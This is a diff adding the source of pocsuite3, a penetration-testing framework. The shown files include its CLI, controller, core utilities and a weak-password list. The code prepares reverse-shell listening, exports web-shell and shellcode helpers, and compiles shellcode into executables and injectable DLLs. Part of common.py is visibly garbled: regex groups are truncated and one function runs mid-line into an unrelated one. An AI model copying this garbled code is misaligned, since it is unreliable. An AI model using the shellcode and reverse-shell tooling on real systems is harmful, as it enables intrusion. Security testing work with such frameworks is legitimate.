+ @make build + #@make pypimeta + @make pypi + +test: + tox --skip-missing-interpreters + +flake8: + @+flake8 --max-line-length=120 --exclude .asv,.tox,pocsuite3/thirdparty -j 8 --count --statistics --exit-zero pocsuite3 --ignore E501,F401,F403,W503,W605 + +clean: + rm -rf *.egg-info dist build .tox + find $(SRC_DIR) tests -type f -name '*.pyc' -delete diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py new file mode 100644 index 00000000..966cd2c6 --- /dev/null +++ b/pocsuite3/__init__.py @@ -0,0 +1,14 @@ +__title__ = 'pocsuite' +__version__ = '1.2.0' +__author__ = 'Knownsec Security Team' +__author_email__ = 's1@seebug.org' +__license__ = 'GPL 2.0' +__copyright__ = 'Copyright 2018 Knownsec' +__name__ = 'pocsuite3' +__package__ = 'pocsuite3' + +from .lib.core.common import set_paths +from .cli import module_path + + +set_paths(module_path()) diff --git a/pocsuite3/api/__init__.py b/pocsuite3/api/__init__.py new file mode 100644 index 00000000..226430ec --- /dev/null +++ b/pocsuite3/api/__init__.py @@ -0,0 +1,64 @@ +from pocsuite3.lib.controller.controller import start +from pocsuite3.lib.core.common import single_time_warn_message +from pocsuite3.lib.core.data import conf, kb, logger, paths +from pocsuite3.lib.core.datatype import AttribDict +from pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY +from pocsuite3.lib.core.option import init, init_options +from pocsuite3.lib.core.plugin import PluginBase, register_plugin +from pocsuite3.lib.core.poc import POCBase, Output +from pocsuite3.lib.core.register import ( + load_file_to_module, + load_string_to_module, + register_poc, +) +from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT +from pocsuite3.lib.request import requests +from pocsuite3.modules.ceye import CEye +from pocsuite3.modules.listener import REVERSE_PAYLOAD +from pocsuite3.modules.seebug import Seebug +from pocsuite3.modules.zoomeye import ZoomEye +from pocsuite3.modules.shodan import Shodan +from pocsuite3.modules.spider import crawl +from pocsuite3.shellcodes import OSShellcodes, WebShell +from pocsuite3.lib.core.interpreter_option import OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptString, \ + OptItems, OptDict + +__all__ = ( + 'requests', 'PluginBase', 'register_plugin', + 'PLUGIN_TYPE', 'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', + 'register_poc', 'conf', 'kb', 'logger', 'paths', 'DEFAULT_LISTENER_PORT', 'load_file_to_module', + 'load_string_to_module', 'single_time_warn_message', 'CEye', 'Seebug', + 'ZoomEye', 'Shodan', 'REVERSE_PAYLOAD', 'get_listener_ip', 'get_listener_port', + 'get_results', 'init_pocsuite', 'start_pocsuite', 'get_poc_options', 'crawl', + 'OSShellcodes', 'WebShell','OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', 'OptFloat', 'OptString', \ + 'OptItems', 'OptDict') + + +def get_listener_ip(): + return conf.connect_back_host + + +def get_listener_port(): + return conf.connect_back_port + + +def get_current_poc_obj(): + pass + + +def get_poc_options(poc_obj=None): + poc_obj = poc_obj or kb.current_poc + return poc_obj.get_options() + + +def get_results(): + return kb.results + + +def init_pocsuite(options): + init_options(options) + init() + + +def start_pocsuite(): + start() diff --git a/pocsuite3/cli.py b/pocsuite3/cli.py new file mode 100644 index 00000000..f1daac84 --- /dev/null +++ b/pocsuite3/cli.py @@ -0,0 +1,85 @@ +import sys +import time +import os +import traceback +import threading +try: + import pocsuite3 +except ImportError: + sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) + +from pocsuite3.lib.core.option import init +from pocsuite3.lib.core.option import init_options +from pocsuite3.lib.core.exception import PocsuiteUserQuitException +from pocsuite3.lib.core.exception import PocsuiteShellQuitException +from pocsuite3.lib.core.common import set_paths +from pocsuite3.lib.core.common import banner +from pocsuite3.lib.core.common import data_to_stdout +from pocsuite3.lib.core.data import cmd_line_options +from pocsuite3.lib.core.data import logger +from pocsuite3.lib.parse.cmd import cmd_line_parser +from pocsuite3.lib.controller.controller import start + + +def module_path(): + """ + This will get us the program's directory + """ + return os.path.dirname(os.path.realpath(__file__)) + + +def check_environment(): + try: + os.path.isdir(module_path()) + except Exception: + err_msg = "your system does not properly handle non-ASCII paths. " + err_msg += "Please move the pocsuite's directory to the other location" + logger.critical(err_msg) + raise SystemExit + + +def main(): + """ + @function Main function of pocsuite when running from command line. + """ + try: + check_environment() + set_paths(module_path()) + banner() + + cmd_line_options.update(cmd_line_parser().__dict__) + init_options(cmd_line_options) + + data_to_stdout("[*] starting at {0}\n\n".format(time.strftime("%X"))) + init() + try: + start() + except threading.ThreadError: + raise + + except PocsuiteUserQuitException: + pass + + except PocsuiteShellQuitException: + pass + + except KeyboardInterrupt: + pass + + except EOFError: + pass + + except SystemExit: + pass + + except Exception: + exc_msg = traceback.format_exc() + data_to_stdout(exc_msg) + raise SystemExit + + finally: + data_to_stdout("\n[*] shutting down at {0}\n\n".format(time.strftime("%X"))) + + +if __name__ == "__main__": + main() diff --git a/pocsuite3/console.py b/pocsuite3/console.py new file mode 100644 index 00000000..3e8e7345 --- /dev/null +++ b/pocsuite3/console.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# @Time : 2018/12/25 上午10:49 +# @Author : chenghs@knownsec.com +# @File : console.py +import os +import sys + +try: + import pocsuite3 +except ImportError: + sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) +from pocsuite3.cli import check_environment, module_path +from pocsuite3 import set_paths +from pocsuite3.lib.core.interpreter import PocsuiteInterpreter +from pocsuite3.lib.core.option import init_options + + +def main(): + check_environment() + set_paths(module_path()) + init_options() + poc = PocsuiteInterpreter() + poc.start() + + +if __name__ == '__main__': + main() diff --git a/pocsuite3/data/password-top100.txt b/pocsuite3/data/password-top100.txt new file mode 100644 index 00000000..4e48e2c3 --- /dev/null +++ b/pocsuite3/data/password-top100.txt @@ -0,0 +1,100 @@ +admin +admin12 +admin888 +admin8 +admin123 +sysadmin +adminxxx +adminx +6kadmin +base +feitium +admins +root +roots +test +test1 +test123 +test2 +password +aaaAAA111 +888888 +88888888 +000000 +00000000 +111111 +11111111 +aaaaaa +aaaaaaaa +135246 +135246789 +123456 +654321 +12345 +54321 +123456789 +1234567890 +0 +123qwe +123qweasd +qweasd +123asd +qwezxc +qazxsw +qazwsx +qazwsxedc +1qaz2wsx +zxcvbn +asdfgh +qwerty +qazxdr +qwaszx +111111 +123123 +123321 +abcdef +abcdefg +!@#$%^ +!@#$% +~!@#$% +%$#@! +^%$#@~! +88888 +55555 +aaaaa +asd123 +qweasdzxc +zxcvb +asdfg +qwert +1 +2 +3 +4 +5 +qwe +qwer +welcome +!@#123 +111 +12 +123 +123!@# +123654 +123654789 +123654789! +123go +1314520 +133135136 +13572468 +19880118 +1992724 +20080808 +3452510 +360 +360sb +376186027 +3est +45189946 +4816535 +4lert \ No newline at end of file diff --git a/pocsuite3/data/user-agents.txt b/pocsuite3/data/user-agents.txt new file mode 100644 index 00000000..e69de29b diff --git a/pocsuite3/lib/__init__.py b/pocsuite3/lib/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pocsuite3/lib/controller/__init__.py b/pocsuite3/lib/controller/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pocsuite3/lib/controller/controller.py b/pocsuite3/lib/controller/controller.py new file mode 100644 index 00000000..6db1876a --- /dev/null +++ b/pocsuite3/lib/controller/controller.py @@ -0,0 +1,132 @@ +import copy +import time + +from pocsuite3.lib.core.common import data_to_stdout +from pocsuite3.lib.core.data import conf, cmd_line_options +from pocsuite3.lib.core.data import kb +from pocsuite3.lib.core.data import logger +from pocsuite3.lib.core.datatype import AttribDict +from pocsuite3.lib.core.settings import CMD_PARSE_WHITELIST +from pocsuite3.lib.core.threads import run_threads +from pocsuite3.modules.listener import handle_listener_connection +from pocsuite3.modules.listener.reverse_tcp import handle_listener_connection_for_console +from pocsuite3.thirdparty.prettytable.prettytable import PrettyTable + + +def start(): + tasks_count = kb.task_queue.qsize() + info_msg = "pocsusite got a total of {0} tasks".format(tasks_count) + logger.info(info_msg) + + run_threads(conf.threads, task_run) + task_done() + + if conf.mode == "shell": + info_msg = "connect back ip: {0} port: {1}".format(conf.connect_back_host, conf.connect_back_port) + logger.info(info_msg) + info_msg = "watting for shell connect to pocsuite" + logger.info(info_msg) + if conf.console_mode: + handle_listener_connection_for_console() + else: + handle_listener_connection() + + +def show_task_result(): + if conf.quiet: + return + + if not kb.results: + return + + if conf.mode == "shell": + return + + results_table = PrettyTable(["target-url", "poc-name", "poc-id", "component", "version", "status"]) + results_table.align["target-url"] = "l" + results_table.padding_width = 1 + + total_num, success_num = 0, 0 + for row in kb.results: + results_table.add_row([ + row.target, + row.poc_name, + row.vul_id, + row.app_name, + row.app_version, + row.status, + ]) + total_num += 1 + if row.status == 'success': + success_num += 1 + + data_to_stdout('\n{0}'.format(results_table.get_string(sortby="status", reversesort=True))) + data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num)) + + +def task_run(): + while not kb.task_queue.empty() and kb.thread_continue: + target, poc_module = kb.task_queue.get() + poc_module = copy.deepcopy(kb.registered_pocs[poc_module]) + poc_name = poc_module.name + info_msg = "running poc:'{0}' target '{1}'".format(poc_name, target) + logger.info(info_msg) + + # hand user define parameters + if hasattr(poc_module, "_options"): + for item in kb.cmd_line: + value = cmd_line_options.get(item, "") + if item in poc_module.options: + poc_module.set_option(item, value) + info_msg = "Parameter {0} => {1}".format(item, value) + logger.info(info_msg) + # check must be option + for opt, v in poc_module.options.items(): + # check conflict in whitelist + if opt in CMD_PARSE_WHITELIST: + info_msg = "Poc:'{0}' You can't customize this variable '{1}' because it is already taken up by the pocsuite.".format( + poc_name, opt) + logger.error(info_msg) + raise SystemExit + + if v.require and v.value == "": + info_msg = "Poc:'{poc}' Option '{key}' must be set,please add parameters '--{key}'".format( + poc=poc_name, key=opt) + logger.error(info_msg) + raise SystemExit + + result = poc_module.execute(target, headers=conf.http_headers, mode=conf.mode, verbose=False) + if not result: + continue + + if not conf.quiet: + result.show_result() + + result_status = "success" if result.is_success() else "failed" + + output = AttribDict(result.to_dict()) + output.update({ + 'target': target, + 'poc_name': poc_name, + 'created': time.strftime("%Y-%m-%d %X", time.localtime()), + 'status': result_status + }) + + kb.results.append(output) + + # TODO + # set task delay + + +def result_plugins_start(): + """ + run result plugins, such as html report + :return: + """ + for _, plugin in kb.plugins.results.items(): + plugin.start() + + +def task_done(): + show_task_result() + result_plugins_start() diff --git a/pocsuite3/lib/core/__init__.py b/pocsuite3/lib/core/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pocsuite3/lib/core/clear.py b/pocsuite3/lib/core/clear.py new file mode 100644 index 00000000..52d6e5f0 --- /dev/null +++ b/pocsuite3/lib/core/clear.py @@ -0,0 +1,16 @@ +import logging + + +def remove_extra_log_message(): + logger_names = [ + "paramiko", + "paramiko.transport", + "websockets", + + ] + + for logger_name in logger_names: + try: + logging.getLogger(logger_name).disabled = True + except Exception: + pass diff --git a/pocsuite3/lib/core/common.py b/pocsuite3/lib/core/common.py new file mode 100644 index 00000000..22872500 --- /dev/null +++ b/pocsuite3/lib/core/common.py @@ -0,0 +1,858 @@ +import struct +import sys +import time + +import inspect +import logging +import select +from functools import wraps +from platform import machine +from subprocess import call, Popen, PIPE + +import requests +import chardet +from collections import OrderedDict + +import hashlib +import os +import re +import socket +from ipaddress import ip_address, ip_network + +from pocsuite3.lib.core.convert import stdout_encode +from pocsuite3.lib.core.data import conf +from pocsuite3.lib.core.data import kb +from pocsuite3.lib.core.data import logger +from pocsuite3.lib.core.data import paths +from pocsuite3.lib.core.decorators import cachedmethod +from pocsuite3.lib.core.enums import OS_ARCH, OS +from pocsuite3.lib.core.exception import PocsuiteSystemException +from pocsuite3.lib.core.log import LOGGER_HANDLER +from pocsuite3.lib.core.settings import ( + BANNER, BOLD_PATTERNS, IS_WIN, URL_DOMAIN_REGEX, LOCAL_IP_ADDRESS_REGEX, + IP_ADDRESS_WITH_PORT_REGEX, IPV6_URL_REGEX, TIMESTAMP, OS_SYSTEM) +from pocsuite3.lib.core.settings import IPV6_ADDRESS_REGEX +from pocsuite3.lib.core.settings import IP_ADDRESS_REGEX +from pocsuite3.lib.core.settings import OLD_VERSION_CHARACTER +from pocsuite3.lib.core.settings import POCSUITE_VERSION_CHARACTER +from pocsuite3.lib.core.settings import UNICODE_ENCODING +from pocsuite3.lib.core.settings import URL_ADDRESS_REGEX +from pocsuite3.lib.core.settings import POC_REQUIRES_REGEX +from pocsuite3.lib.core.settings import POC_NAME_REGEX +from pocsuite3.thirdparty.termcolor.termcolor import colored +from pocsuite3.thirdparty.colorama.initialise import init as coloramainit + + +def read_binary(filename): + content = '' + with open(filename, 'rb') as f: + content = f.read() + return content + + +def check_path(path): + return True if path and os.path.exists(path) else False + + +def check_file(filename): + """ + @function Checks for file existence and readability + """ + + valid = True + + if filename is None or not os.path.isfile(filename): + valid = False + + if valid: + try: + with open(filename, "rb"): + pass + except Exception: + valid = False + + if not valid: + raise PocsuiteSystemException("unable to read file '%s'" % filename) + return valid + + +def set_paths(root_path): + """ + Sets absolute paths for project directories and files + """ + paths.POCSUITE_ROOT_PATH = root_path + paths.POCSUITE_DATA_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "data") + paths.POCSUITE_PLUGINS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "plugins") + paths.POCSUITE_POCS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "pocs") + paths.USER_POCS_PATH = None + + paths.USER_AGENTS = os.path.join(paths.POCSUITE_DATA_PATH, "user-agents.txt") + paths.WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top100.txt") + paths.LARGE_WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top1000.txt") + + paths.POCSUITE_HOME_PATH = os.path.expanduser("~") + _ = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuite") + + paths.API_SHELL_HISTORY = os.path.join(_, "api.hst") + paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") + paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") + paths.POCSUITE_SHELL_HISTORY = os.path.join(_, "pocsuite.hst") + paths.POCSUITE_CONSOLE_HISTORY = os.path.join(_, "console.hst") + + paths.POCSUITE_TMP_PATH = os.path.join(_, "tmp") + paths.POCSUITE_RC_PATH = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuiterc") + paths.POCSUITE_OUTPUT_PATH = paths.get("POCSUITE_OUTPUT_PATH", os.path.join(_, "output")) + paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "shellcodes", "tools") + + +def banner(): + """ + Function prints pocsuite banner with its version + """ + _ = BANNER + if not getattr(LOGGER_HANDLER, "is_tty", False): + _ = clear_colors(_) + elif IS_WIN: + coloramainit() + + data_to_stdout(_) + + +def set_color(message, bold=False): + if isinstance(message, bytes): + message = message.decode(UNICODE_ENCODING) + ret = message + + if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler + if bold: + ret = colored(message, color=None, on_color=None, attrs=("bold",)) + + return ret + + +def clear_colors(message): + ret = message + if message: + ret = re.sub(r"\x1b\[[\d;]+m", "", message) + return ret + + +def boldify_message(message): + ret = message + + if any(_ in message for _ in BOLD_PATTERNS): + ret = set_color(message, bold=True) + + return ret + + +def data_to_stdout(data, bold=False): + """ + Writes text to the stdout (console) stream + """ + if 'quiet' not in conf or not conf.quiet: + message = "" + + if isinstance(data, str): + message = stdout_encode(data) + else: + message = data + + sys.stdout.write(set_color(message, bold)) + + try: + sys.stdout.flush() + except IOError: + pass + return + + +@cachedmethod +def extract_regex_result(regex, content, flags=0): + """ + Returns 'result' group value from a possible match with regex on a given + content + >>> extract_regex_result(r'a(?P[^g]+)g', 'abcdefg') + 'bcdef' + """ + + ret = None + + if regex and content and "?P" in regex: + match = re.search(regex, content, flags) + + if match: + ret = match.group("result") + + return ret + + +def get_latest_revision(): + """ + Retrieves latest revision from the offical repository + """ + + ret = None + resp = requests.get(url="https://raw.githubusercontent.com/knownsec/pocsuite3/master/pocsuite3/__init__.py") + try: + content = resp.content + ret = extract_regex_result(r"__version__\s*=\s*[\"'](?P[\d.]+)", content) + except Exception: + pass + + return ret + + +def poll_process(process, suppress_errors=False): + """ + Checks for process status (prints . if still running) + """ + + while True: + data_to_stdout(".") + time.sleep(1) + + return_code = process.poll() + + if return_code is not None: + if not suppress_errors: + if return_code == 0: + data_to_stdout(" done\n") + elif return_code < 0: + data_to_stdout(" process terminated by signal {}\n".format(return_code)) + elif return_code > 0: + data_to_stdout(" quit unexpectedly with return code {}\n".format(return_code)) + + break + + +def parse_target_url(url): + """ + Parse target URL + """ + ret = url + + if conf.ipv6 and is_ipv6_address_format(url): + ret = "[" + ret + "]" + + if not re.search("^http[s]*://", ret, re.I) and not re.search("^ws[s]*://", ret, re.I): + if re.search(":443[/]*$", ret): + ret = "https://" + ret + else: + ret = "http://" + ret + + return ret + + +def is_url_format(value): + if value and re.match(URL_ADDRESS_REGEX, value): + return True + else: + return False + + +def is_domain_format(value): + if value and re.match(URL_DOMAIN_REGEX, value): + return True + else: + return False + + +def is_ip_address_format(value): + if value and re.match(IP_ADDRESS_REGEX, value): + return True + else: + return False + + +def is_ip_address_with_port_format(value): + if value and re.match(IP_ADDRESS_WITH_PORT_REGEX, value): + return True + else: + return False + + +def is_ipv6_address_format(value): + if value and re.match(IPV6_ADDRESS_REGEX, value): + return True + else: + return False + + +def is_ipv6_url_format(value): + if value and re.match(IPV6_URL_REGEX, value): + return True + else: + return False + + +def is_old_version_poc(poc_string): + for _ in OLD_VERSION_CHARACTER: + if _ in poc_string: + return True + return False + + +def is_pocsuite_poc(poc_string): + for _ in POCSUITE_VERSION_CHARACTER: + if _ in poc_string: + return True + return False + + +def is_pocsuite3_poc(poc_string): + return True if "pocsuite3" in poc_string else False + + +def multiple_replace(text, adict): + rx = re.compile("|".join(map(re.escape, adict))) + + def get_replace(match): + return adict[match.group(0)] + + return rx.sub(get_replace, text) + + +def get_filename(filepath, with_ext=True): + base_name = os.path.basename(filepath) + return base_name if with_ext else os.path.splitext(base_name)[0] + + +def get_md5(value): + if isinstance(value, str): + value = value.encode(encoding='UTF-8') + return hashlib.md5(value).hexdigest() + + +def extract_cookies(cookie): + cookies = dict([l.split("=", 1) for l in cookie.split("; ")]) + return cookies + + +def get_file_items(filename, comment_prefix='#', unicode_=True, lowercase=False, unique=False): + ret = list() if not unique else OrderedDict() + + check_file(filename) + + try: + with open(filename, 'r') as f: + for line in f.readlines(): + # xreadlines doesn't return unicode strings when codecs.open() is used + if comment_prefix and line.find(comment_prefix) != -1: + line = line[:line.find(comment_prefix)] + + line = line.strip() + + if not unicode_: + try: + line = str.encode(line) + except UnicodeDecodeError: + continue + + if line: + if lowercase: + line = line.lower() + + if unique and line in ret: + continue + + if unique: + ret[line] = True + + else: + ret.append(line) + + except (IOError, OSError, MemoryError) as ex: + err_msg = "something went wrong while trying " + err_msg += "to read the content of file '{0}' ('{1}')".format(filename, ex) + raise PocsuiteSystemException(err_msg) + + return ret if not unique else ret.keys() + + +def parse_target(address): + targets = set() + if is_domain_format(address) \ + or is_url_format(address) \ + or is_ip_address_with_port_format(address): + targets.add(address) + + elif is_ipv6_url_format(address): + conf.ipv6 = True + targets.add(address) + + elif is_ip_address_format(address): + try: + ip = ip_address(address) + targets.add(ip.exploded) + except ValueError: + pass + else: + if is_ipv6_address_format(address): + conf.ipv6 = True + try: + ip = ip_address(address) + targets.add(ip.exploded) + except ValueError: + try: + network = ip_network(address, strict=False) + for host in network.hosts(): + targets.add(host.exploded) + except ValueError: + pass + + return targets + + +def single_time_log_message(message, level=logging.INFO, flag=None): + if flag is None: + flag = hash(message) + + if flag not in kb.single_log_flags: + kb.single_log_flags.add(flag) + logger.log(level, message) + + +def single_time_debug_message(message): + single_time_log_message(message, logging.DEBUG) + + +def single_time_warn_message(message): + single_time_log_message(message, logging.WARN) + + +@cachedmethod +def get_public_type_members(type_, only_values=False): + """ + Useful for getting members from types (e.g. in enums) + """ + + ret = [] + + for name, value in inspect.getmembers(type_): + if not name.startswith("__"): + if not only_values: + ret.append((name, value)) + else: + ret.append(value) + + return ret + + +def is_local_ip(ip_string): + ret = False + if ip_string and isinstance(ip_string, str) and re.match(LOCAL_IP_ADDRESS_REGEX, ip_string): + ret = True + return ret + + +def get_local_ip(all=False): + ips = list() + ips.append(get_host_ip()) + try: + for interface in socket.getaddrinfo(socket.gethostname(), None): + ip = interface[4][0] + ips.append(ip) + except Exception: + pass + + ips = list(set(ips)) + + return ips if all else ips.pop(0) + + +def get_host_ip(): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(('8.8.8.8', 80)) + ip = s.getsockname()[0] + finally: + s.close() + + return ip + + +def has_poll(): + return hasattr(select, "poll") + + +def get_poc_requires(code): + return extract_regex_result(POC_REQUIRES_REGEX, code) + + +def get_poc_name(code): + return extract_regex_result(POC_NAME_REGEX, code) + + +def is_os_64bit(): + return machine().endswith('64') + + +def write_file(data, file_ext='', file_name=''): + """ + Function to create file + """ + + if not file_ext.startswith('.'): + file_ext = '.' + file_ext + if not file_name: + file_name = TIMESTAMP + file_name += file_ext + file_path = os.path.join(paths.POCSUITE_TMP_PATH, file_name) + + fd = open(file_path, 'wb+') + fd.write(data) + fd.close() + + return file_path + + +def search_file(filename, search_path): + """ + Given a search path, find file + """ + path = os.path.join(search_path, filename) + if os.path.exists(path): + return path + return None + + +def get_objective_code(asm_file, target_arch, debug=0): + """ + Get objective code (file: *.o) + """ + if target_arch == OS_ARCH.X86: + output_format = 'elf' + elif target_arch == OS_ARCH.X64: + output_format = 'elf64' + else: + print("Format for output objective file is not defined") + return None + + if not asm_file: + print("You must specify some params passed to function") + return None + + obj_file = (asm_file.split('.'))[0] + ".o" + + app = 'nasm' # Application that do magic for us + if OS_SYSTEM == OS.WINDOWS: + app += '.exe' + find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) + if find_app: + if debug: + print("app: '%s' found at %s" % (app, find_app)) + else: + print("You must install app: '%s' and maybe edit environment variables path to it" % app) + return None + elif OS_SYSTEM == OS.LINUX: + find_app = app + else: + print("Can't understand source os") + return None + + command = "%s -f%s -o%s %s" % (find_app, output_format, obj_file, asm_file) + if debug: + print(command) + res = call([find_app, "-f", output_format, "-o", obj_file, asm_file]) + if res == 0: + if debug: + print("Objective code has been created") + return obj_file + else: + print("Something wrong while getting objective code") + return None + + +def objdump(obj_file, os_target_arch, debug=0): + """ + Get shellcode with objdump utility + """ + + res = '' + if not obj_file: + print("You must specify some params passed to function") + return None + else: + app = 'objdump' + if OS_SYSTEM == OS.WINDOWS: + app += ".exe" + + find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) + if find_app: + if debug: + print("app: '%s' found at %s" % (app, find_app)) + else: + print("You must install app: '%s' and maybe edit environment variables path to it" % app) + return None + elif OS_SYSTEM == OS.LINUX: + find_app = app + else: + print("Can't understand source os") + return None + + if os_target_arch == OS_ARCH.X86: + p = Popen(['%s' % find_app, '-d', obj_file], stdout=PIPE, stderr=PIPE) + elif os_target_arch == OS_ARCH.X64: + p = Popen(['%s' % find_app, '-d', obj_file, '--disassembler-options=addr64'], stdout=PIPE, stderr=PIPE) + else: + print("OS TARGET ARCH '%s' is not supported" % os_target_arch) + return + + (stdout, stderr) = p.communicate() + if p.returncode == 0: + for line in stdout.splitlines(): + cols = line.split('\t') + if len(cols) >= 2: + for b in [b for b in cols[1].split(' ') if b != '']: + res = res + ('\\x%s' % b) + else: + raise ValueError(stderr) + + if res and debug: + print("objdump is created") + + return res + + +def create_shellcode(asm_code, os_target, os_target_arch, make_exe=0, debug=0, filename="", dll_inj_funcs=[]): + if os_target == OS.LINUX: + dll_inj_funcs = [] + if not is_os_64bit() and os_target_arch == OS_ARCH.X64: + print("ERR: can not create shellcode for this os_target_arch ({0}) on os_arch ({1})".format(os_target_arch, + OS_ARCH.X64)) + return None + asm_file = write_file(asm_code, '.asm', filename) + obj_file = get_objective_code(asm_file, os_target_arch, debug) + + # stage_2: + if obj_file: + shellcode = objdump(obj_file, os_target_arch, debug) + shellcode = shellcode.replace('\\x', '').decode('hex') + # shellcode = extract_shell_from_obj(obj_file) + else: + return None + if make_exe: + make_binary_from_obj(obj_file, os_target, os_target_arch, debug) + if dll_inj_funcs: + generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug) + return shellcode, asm_file.split(".")[0] + + +def generate_dll(os_target, os_target_arch, asm_code, filename, dll_inj_funcs, debug): + asm_code = asm_code.replace("global _start", "").replace("_start:", "") + additional_code = "" + for func in dll_inj_funcs: + additional_code += "global _{}\r\n".format(func) + for func in dll_inj_funcs: + additional_code += "_{}:\r\n".format(func) + asm_code = additional_code + asm_code + asm_file = write_file(asm_code, '.asm', filename) + obj_file = get_objective_code(asm_file, os_target_arch, debug) + make_binary_from_obj(obj_file, os_target, os_target_arch, debug, True) + + +def make_binary_from_obj(o_file, os_target, os_target_arch, debug=0, is_dll=False): + """ + Function for test shellcode with app written on c-language + """ + if is_dll and os_target == OS.LINUX: + print('Dll can be generated only for WINDOWS OS') + return None + app = 'ld' + find_app = '' + if OS_SYSTEM == OS.WINDOWS: + if os_target == OS.LINUX: + app += '.gold' + elif os_target == OS.WINDOWS and os_target_arch == OS_ARCH.X64: + app += '64' + app += '.exe' + find_app = search_file("%s" % app, paths.SHELLCODES_DEV_PATH) + if find_app: + if debug: + print("app: '%s' found at %s" % (app, find_app)) + else: + print("You must install app: '%s' and maybe edit environment variables path to it" % app) + return None + elif OS_SYSTEM == OS.LINUX: + find_app = app + else: + print("Can't understand source os: %s" % OS_SYSTEM) + return None + + c_exe = (o_file.split('.'))[0] + commands_list = [find_app, '-o', c_exe, o_file, '--strip-all'] + if OS_SYSTEM == OS.LINUX: + if os_target == OS.WINDOWS: + commands_list.append('-m') + commands_list.append('i386pe') + if is_dll: + commands_list.append('-shared') + p = Popen(commands_list) + p.communicate() + elif OS_SYSTEM == OS.WINDOWS: + if is_dll: + commands_list.append('-shared') + p = Popen(commands_list) + p.communicate() + else: + print("ERR: source os (%s) is not supported" % OS_SYSTEM) + if os_target == OS.WINDOWS: + newname = c_exe + '.dll' if is_dll else c_exe + '.exe' + if os.path.exists(newname): + os.remove(newname) + os.rename(c_exe, newname) + print("Complete. Now you can try to execute file: %s" % c_exe) + + +def extract_shell_from_obj(file): + with open(file, 'rb') as f: + contents = f.read() + flag = contents[4] + if flag == '\x01': + length = struct.unpack('H', port) + return struct.pack(' list: + """ Returns list of all exploits modules + + :param str modules_directory: path to modules directory + :return list: list of found modules + """ + + modules = [] + for root, dirs, files in os.walk(paths.POCSUITE_POCS_PATH): + _, package, root = root.rpartition("pocsuite3/pocs/".replace("/", os.sep)) + root = root.replace(os.sep, ".") + files = filter(lambda x: not x.startswith("__") and x.endswith(".py"), files) + + modules.extend(map(lambda x: ".".join((root, os.path.splitext(x)[0])), files)) + + return modules + + +def humanize_path(path: str) -> str: + """ Replace python dotted path to directory-like one. + + ex. foo.bar.baz -> foo/bar/baz + + :param str path: path to humanize + :return str: humanized path + """ + + return path.replace(".", "/") + + +def pythonize_path(path: str) -> str: + """ Replaces argument to valid python dotted notation. + + ex. foo/bar/baz -> foo.bar.baz + + :param str path: path to pythonize + :return str: pythonized path + """ + + return path.replace("/", ".") + + +def module_required(fn): + """ Checks if module is loaded. + + Decorator that checks if any module is activated + before executing command specific to modules (ex. 'run'). + """ + + @wraps(fn) + def wrapper(self, *args, **kwargs): + if not self.current_module: + logger.error("You have to activate any module with 'use' command.") + return + return fn(self, *args, **kwargs) + + try: + name = "module_required" + wrapper.__decorators__.append(name) + except AttributeError: + wrapper.__decorators__ = [name] + return wrapper + + +def stop_after(space_number): + """ Decorator that determines when to stop tab-completion + + Decorator that tells command specific complete function + (ex. "complete_use") when to stop tab-completion. + Decorator counts number of spaces (' ') in line in order + to determine when to stop. + + ex. "use exploits/dlink/specific_module " -> stop complete after 2 spaces + "set rhost " -> stop completing after 2 spaces + "run " -> stop after 1 space + + :param space_number: number of spaces (' ') after which tab-completion should stop + :return: + """ + + def _outer_wrapper(wrapped_function): + @wraps(wrapped_function) + def _wrapper(self, *args, **kwargs): + try: + if args[1].count(" ") == space_number: + return [] + except Exception as err: + logger.error(err) + return wrapped_function(self, *args, **kwargs) + + return _wrapper + + return _outer_wrapper diff --git a/pocsuite3/lib/core/convert.py b/pocsuite3/lib/core/convert.py new file mode 100644 index 00000000..646a3cae --- /dev/null +++ b/pocsuite3/lib/core/convert.py @@ -0,0 +1,42 @@ +import sys + +from pocsuite3.lib.core.settings import IS_WIN +from pocsuite3.lib.core.settings import UNICODE_ENCODING + + +def single_time_warn_message(message): + """ + Cross-linked function + """ + sys.stdout.write(message) + sys.stdout.write("\n") + sys.stdout.flush() + + +def stdout_encode(data): + ret = None + + try: + data = data or "" + + # Reference: http://bugs.python.org/issue1602 + if IS_WIN: + output = data.encode(sys.stdout.encoding, "replace") + + if '?' in output and '?' not in data: + warn_msg = "cannot properly display Unicode characters " + warn_msg += "inside Windows OS command prompt " + warn_msg += "(http://bugs.python.org/issue1602). All " + warn_msg += "unhandled occurances will result in " + warn_msg += "replacement with '?' character. Please, find " + warn_msg += "proper character representation inside " + warn_msg += "corresponding output files. " + single_time_warn_message(warn_msg) + + ret = output + else: + ret = data.encode(sys.stdout.encoding) + except Exception: + ret = data.encode(UNICODE_ENCODING) if isinstance(data, str) else data + + return ret diff --git a/pocsuite3/lib/core/data.py b/pocsuite3/lib/core/data.py new file mode 100644 index 00000000..a0535672 --- /dev/null +++ 